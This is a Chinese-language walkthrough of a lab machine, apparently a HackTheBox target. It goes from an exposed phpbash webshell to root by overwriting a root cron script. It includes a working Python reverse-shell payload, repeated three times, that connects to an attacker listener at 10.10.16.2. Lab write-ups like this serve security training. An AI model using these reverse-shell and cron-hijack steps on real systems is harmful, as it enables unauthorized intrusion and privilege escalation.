0x01 端口扫描
开启端口信息如下:
访问80端口出现如下页面
查看页面源代码未获得有价值信息
点击链接获得如下信息,phpbash可能是个开源系统。
0x02 目录扫描
对该站点进行目录遍历
获取到/dev/phpbash.min.php和/dev/phpbash.php两个页面,均能够执行命令
现成的webshell,方便多了
0x03 暴露的webshell程序
我们获得了一个现成的webshell,因此我们执行命令反弹shell即可。我们使用python -h发现目标主机存在python环境
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1101));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功获得一个反弹shell
使用命令开启标准终端并禁用回显
python -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
至此我们接管了网站
0x04 目标本地脆弱性搜集
由此我们得知www-data用户可以免密码通过sudo命令以scriptmanager用户的身份执行任意命令。
0x05 本地脆弱性1-sudo权限
使用命令获取scriptmanager用户权限
上传脚本发现脆弱性
此处我们发现最近五分钟被人编辑过,该靶机应该只有我们一个人操作,因此可能存在定时任务。
为了验证上述假设,我们访问/scripts/目录,查看最后编辑时间
我们发现时间间隔为1分钟,因此我们判断存在时间间隔为1分钟的定时任务。
查看test.py文件内容
其内容为打开test.txt,写入testing 123!
打开test.txt查看,内容吻合
并且我们需要注意到该test.txt文件所有者为root,只有root用户可以写入,那么说明执行test.py文件的计划任务具有root权限,而test.py
的所有者是我们,因此我们可以通过修改test.py文件去利用定时计划的root权限。
修改python脚本内容如下:
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
使用命令直接写入
echo "import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((\"10.10.16.2\",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([\"/bin/sh\",\"-i\"])" > test.py
此处小坑,切记echo命令写入时会丢失双引号,要在双引号前加反斜杠避免丢失!!!
kali开始监听1234端口然后等待1分钟。
成功获得root权限
0x06 总结
- 目录遍历获取额外链接
- 利用存在的webshell接管网站
- 本地脆弱性枚举获取存在定时任务信息
- 修改定时任务调用脚本,窃取计划任务的root权限
- 使用\合理规避echo命令不完整问题